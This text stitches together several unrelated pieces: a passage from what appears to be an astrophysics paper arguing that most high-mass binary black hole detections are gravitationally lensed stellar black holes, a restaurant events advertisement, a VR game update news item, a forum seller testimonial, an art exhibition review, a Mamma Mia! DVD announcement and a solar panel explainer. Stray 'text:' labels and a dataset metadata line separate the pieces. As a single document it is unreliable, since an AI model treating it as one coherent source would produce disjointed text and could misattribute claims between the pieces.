It is conceivable that these same lensed galaxies are predominantly the source of lensed BBH events where massive binary stars are abundant, so that a positive cross correlation may be detected once positional triangulation is feasible for statistical samples of BBH events.

Magnifications ranging over $10-500$ are implied by our lens model for the majority of high chirp mass BBH detections, levels which we do know are achievable for small sources when projected close to lensing caustics, including the individually lensed stars recently discovered on the Einstein radius of lensing clusters with magnifications of several thousand reported in some cases\cite{Kelly,Venumadhav,Diego,Oguri}. These highly magnified stars limit the proportion of dark matter in primordial black holes insignificant $< 5$\%, as only modest micro-lensing is seen, consistent with the projected density of stars visible in the lensing clusters\cite{Diego,Oguri}, disfavouring the primordial black hole hypothesis for BBH events\cite{Bird,Carr}. Instead, this absence of ``LIGO-like" black holes may be regarded as support for our lensing interpretation of the high chirp mass events as no new class of intrinsically high mass black holes is required, just conventional stellar black holes that are lensed at high redshift.

In addition to the case presented here, we have also raised a time delay argument, finding that the time difference between pairs of BBH events with indistinguishable waveforms and sky location \cite{LVT2021}, is consistent with the  time delays between lensed QSO images that range from days to weeks (Diego, Broadhurst \& Smoot 2021\cite{Diego2021}. Our lens model predicts that repeat events should be detectable for a sizeable minority $\simeq 10\%-20\% $ of BBH detections, set by the Earth-rotating angular sensitivity of LIGO/Virgo\cite{Broadhurst2018} which limits detections to an overhead (and underfoot) band of the sky and typically misses counter images in the current configuration. It should also be appreciated that the relative fluxes of close, highly magnified images of lensed QSO's and SNe\cite{SNlens}, typically differ by a factor of 2 in brightness, implying substructure in lensing galaxies is common on sub-arcsecond scales\cite{Treu2019,Chan}, in which case the weaker counter image will typically fall below the GW detection threshold, as most GW events are near the detection limit, SNR $\simeq 8 $, with few exceeding a level of SNR $> 16$ required for detection of the weaker event to overcome a factor $\simeq 2$ flux anomaly, with credible examples proposed\cite{Dai_pair}.

Irrespective of lensing, the viability of the high masses inferred for BBH events above $\simeq 50M_\odot$ is challenged theoretically by the physical limit from pair instability\cite{Woosley} and also empirically there is a claimed deficit of high mass stars $>40M_\odot$ that are metal poor\cite{Schoot} in the SMC and similar shortages in the LMC and Milky Way, which if general would disfavour larger stellar progenitors required at low redshift to account for the reported high mass of BBH events. Instead, our conclusions appear qualitatively aligned with simulations of high mass star formation, made well before the GW detections, that predict a well defined process of fragmentation and accretion for generating close multiples of higher mass stars\cite{Krum}, qualitatively supporting the uniformity of the observed BBH component masses and our lensing based conclusion that most BBH events comprise pairs of conventional stellar mass black holes formed at early times.

An independent check on the viability of our lensing interpretation is anticipated using the stochastic GW background that is integrated over all redshift and binary mergers. This background is predicted to be higher in the case of lensing, particularly at low GW frequencies due to the relatively high rate of events at high redshift required by our lensing interpretation\cite{Suvodip}. Another complementary possibility is the direct detection of micro-lensing modulated GW waveforms \cite{Diego_ML,Otto} that would imply the presence of a macro-lensing galaxy hosting the micro-lenses.

Finally, we emphasise that the broad
black hole mass function derived from GW events is not independently supported by local black hole masses, where there is a complete absence of stellar black holes above $20M_\odot$. However, there is excellent agreement between the narrow local stellar mass black hole mass function and the sharp peak of
BBH events seen at the low mass end, as we have shown here. The main point to appreciate now is that lensing of these low mass events does solve this seemingly contradictory situation by allowing the detection of conventional stellar mass black holes at cosmological redshifts where their chirp masses are high like the majority of BBH detections. Lensing surely provides the simplest resolution of this apparent contradiction and implies that 80\% of the reported BBH events should be substantially revised downwards in mass and upwards in distance.

redpajama_set_name: RedPajamaArXiv


Chi is the ideal venue for parties, functions and celebrations. We can assist you by selecting a set menu at a set price. For the larger parties, a taylor made buffet service as well as karaoke is available.
We are also accommodate big events and can personalise the layout of the restaurant to meet your needs. As you can see from the pictures, we've hosted extremely successful casino nights, birthday parties and even wedding celebrations which occupy the whole restaurant and the garden if needed.


text:
New Update Appears for Wands
New arena the Sanctum of Sahir will form part of the upcoming 1.4 update.
By Rebecca Hills-Duty	 Last updated Jun 13, 2018
Cortopia StudiosWands
The spell-slinging virtual reality (VR) title Wands from Cortopia Studios has been out for quite some time, first making its appearance on Samsung Gear VR before moving on to Google Daydream and then getting a high-end upgrade on Oculus Rift. The developers are now announcing a new update with The Sanctum of Sahir.
Wands is a multiplayer experience in which the player takes the role of a magic user who is seeking to defeat other sorcerers, who are, of course, other players.
Players can find various ancient relics in order to unlock various powerful spells in order to use them again other players. Spells range from the range offensive fireball, the melee-focussed electric fist attack to defensive shields.
The new update, titled The Sanctum of Sahir will unlock a new arena map, which has been discovered in the depths of the mysterious nether realm called the Beyond.
The map will feature three separate sections through which the magical duels will progress through as a sandstorm and deadly poison sweep across the map. The battle will start outside a huge ancient temple and ends within the burial chamber of a forgotten king.
The developers have been keen on frequently bringing in new updates, and since launch several new environments have been added, such as Aspis Prison, Temple of Ophidian, Celestial Halls, Dead Master's Vale and Ortus Station and several new arenas and new spells.
Wands has also expanded its support to incorporate support for the newly launched standalone headsets the Lenovo Mirage Solo and Oculus Go. On the Lenovo Mirage Solo, players will be able to take advantage of the WorldSense 6DoF tracking as well as enjoying the ability to take the title with them wherever they go.
Sanctum of Sahir will form part of the Wands 1.4 update patch which is due to be launched later this month. For further news and coverage of VR projects, keep checking back with VRFocus.
Rebecca Hills-Duty
Staff Writer at VRFocus who helps bring the news to your screens. Rebecca comes from a background in technology and computing and has been a gamer and console collector since the days of the Commodore 64. She also hosts a weekly gaming related radio show on RadioSEGA.


One word to describe him: INTEGRITY.
Do what you say your going to do, and he did exactly that. He told me the exact day my item would ship and did it.
He had great communication thru out the entire transaction and answered all my questions. Half the time it felt like we were in a group chat or IM as emails were being responded to so fast.
He went the extra mile to PM me a few things he thought I would be interested in that he found (and he was right!).
I can't recommend this guy enough.
Last edited by broderp; 09-11-2017 at 05:59 PM.. Reason: name spelling correction.


From Saturday 14th April until Saturday 26th May, NewBridge Project are welcoming two installations which explore political, economic and social issues in relation to climate change as part of their Deep Adaptation exhibition. In her exhibit, Rhona Foster presents two different video installations: (Just An Egg Sandwich) A Sanctimonious Man and What Should I Have For Lunch? Both follow two office workers, with the first being forced to ask himself how far he'll really go to "do the right thing" and the second being caught in a Wheel of Fortune-style game show after drifting off during a meeting on sustainability. Foster also worked in collaboration with people from Newcastle and Gateshead to develop the script and costumes for the films, using non-professional actors.
A similarly playful tone runs through Lucien Anderson's Last Ditch Attempt, which centres on a mobile seed library. A starting point both for a seed-sharing network but also a springboard for thought on models for climate resilience, it's inspired by the Svalbard Global Seed Vault, an "insurance policy for the world's food supply". When rising temperatures caused melting permafrost to flood the vault, Anderson decided a new strategy was needed. And so, instead of a centralised silo, he's attempting to change thought and practice through egalitarian, human-based networks.
Together, the installations are set to be dynamic, engaging launch-pads for deeper discourse on current consumption and climate change, and a series of illuminating events will throw further light on the challenges we face. Of particular note is the film programme, which takes place at the newly reopening Star & Shadow Cinema, featuring two days of experimental and artist films which explore alternative ways of living on Saturday 28th and Sunday 29th April and Luke Devlin and Svenja Meyerricks from Glasgow's Centre for Human Ecology's event at the NewBridge Project on Friday 11th May, which will offer tools for thought and action on climate change, alienation, poverty and oppression.


text:
'Mamma Mia!' Comes to DVD and Blu-ray on December 16th
Mamma Mia! Comes to DVD and Blu-ray on December 16th
This year's biggest musical is coming to DVD and Blu-ray just in time for the holidays. Mamma Mia! will be released on DVD and Blu-ray on December 16. The film will be released in a single-disc edition ($29.98 SRP), two-disc special edition ($34.98 SRP) and the Blu-ray edition ($39.98 SRP). The film stars Meryl Streep, Pierce Brosnan, Colin Firth and Amanda Seyfried.
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Longing to discover the identity of her true father before she exchanges her wedding vows, the daughter of a once-rebellious single mother secretly invites a trio of paternal candidates to her upcoming wedding in this feature adaptation of the beloved stage musical. Independent-minded single mother Donna (Meryl Streep) has always done her best to raise her spirited daughter, Sophie (Amanda Seyfried), while simultaneously running a successful hotel on a small Greek island, but now the time has come for this hardworking mom to finally let go. In just a few days, Sophie will be married, and Donna will stand by bittersweetly as her little girl takes flight. Of course, Donna's lifelong friends Rosie (Julie Walters) and Tanya (Christine Baranski) will both be present at the wedding, but unbeknownst to the mother, Sophie has furtively invited three very special guests of her own. When Sophie walks down the aisle on that fateful day, she wants her father to hand her off. The only problem is that Donna has never revealed the true identity of Sophie's father, leaving the resourceful future bride to narrow the list down to three potential candidates. Now, as three key figures from Donna's past return to the picturesque Mediterranean shores they all walked 20 years prior, one beautiful bride will discover the secret of her past while one lonely mother finds out that it's never too late for a little romance. Phyllida Lloyd, director of both the original London sensation as well as the hit Broadway incarnation, makes her feature directorial debut with this big-screen version of the beloved musical featuring 22 classic ABBA hits. Pierce Brosnan, Colin Firth, Stellan Skarsgård, and Dominic Cooper co-star.
- Sing-Along
- Deleted Musical Number: "The Name of the Game"
- Feature Commentary with Director Phyllida Lloyd
- Digital Copy of Mamma Mia! (Two-disc and Blu-ray only)
- Deleted Scenes (Two-disc and Blu-ray only)
- Outtakes (Two-disc and Blu-ray only)
- The Making of Mamma Mia! (Two-disc and Blu-ray only)
- Anatomy of a Musical Number: 'Lay All Your Love on Me' (Two-disc and Blu-ray only)
- Becoming a Singer (Two-disc and Blu-ray only)
- Behind the Scenes with Amanda (Two-disc and Blu-ray only)
- On Location in Greece (Two-disc and Blu-ray only)
- A Look Inside Mamma Mia! (Two-disc and Blu-ray only)
- "Gimme! Gimme! Gimme!" Music Video (Two-disc and Blu-ray only)
- Bjorn Ulvaeus Cameo (Two-disc and Blu-ray only)
- U Control - Picture-in-Picture (Blu-ray only)
- U Control - Behind the Hits (Blu-ray only)
- BD Live - My Scenes Sharing
- BD Live - Downloadable Content
- BD Live - My Chat
- BD Live - My Mamma Mia! Commentary


You cannot run an air conditioner directly from a solar panel. You cannot run a fridge directly from a solar panel. You can't even run a notebook computer directly from a solar panel. Here's why.
A solar panel is an important component in any portable power system. It is the silent generator. As long as there is daylight, a solar panel will be producing power. Often, a panel is the only way to generate power in remote places. But, solar often lacks the power to 'run' many devices directly, and will need to be part of a more comprehensive system.
First things first. And this is important. A 5 Watt solar panel cannot run a 30 watt notebook computer by itself, nor can it run a 25 Watt lamp for an hour in the evening after the sun goes down. And a solar electric panel is certainly not capable of heating your home in winter time. So, what good is solar power you might ask.
Solar chargers are ideal for the small stuff. Battery driven gear like laptops, cameras, mp3 players, GPS receivers, satellite phones, and more. Things like heaters consume a lot of power, and would require far more solar equipment than you would want to carry. A simple rule of thumb would be to ask if you could run the device for any length of time from a car battery (without the car's motor helping). If not, than perhaps solar is not your best option, and a generator set would be better.
At the top of this article I said that a panel cannot run a laptop computer, but then I just said that it can power one… which is it? Well, it is possible for a 5 Watt panel to power larger devices like a notebook computer for at least a short period of time each day, when it has its power stored in a battery pack over the course of the day, and the battery is then used to power the notebook (the solar charging & powering of your laptop can happen at the same time).
So, if you have a device powered by a battery, or batteries, then there is a good possibility that solar could be used to keep it charged far from home.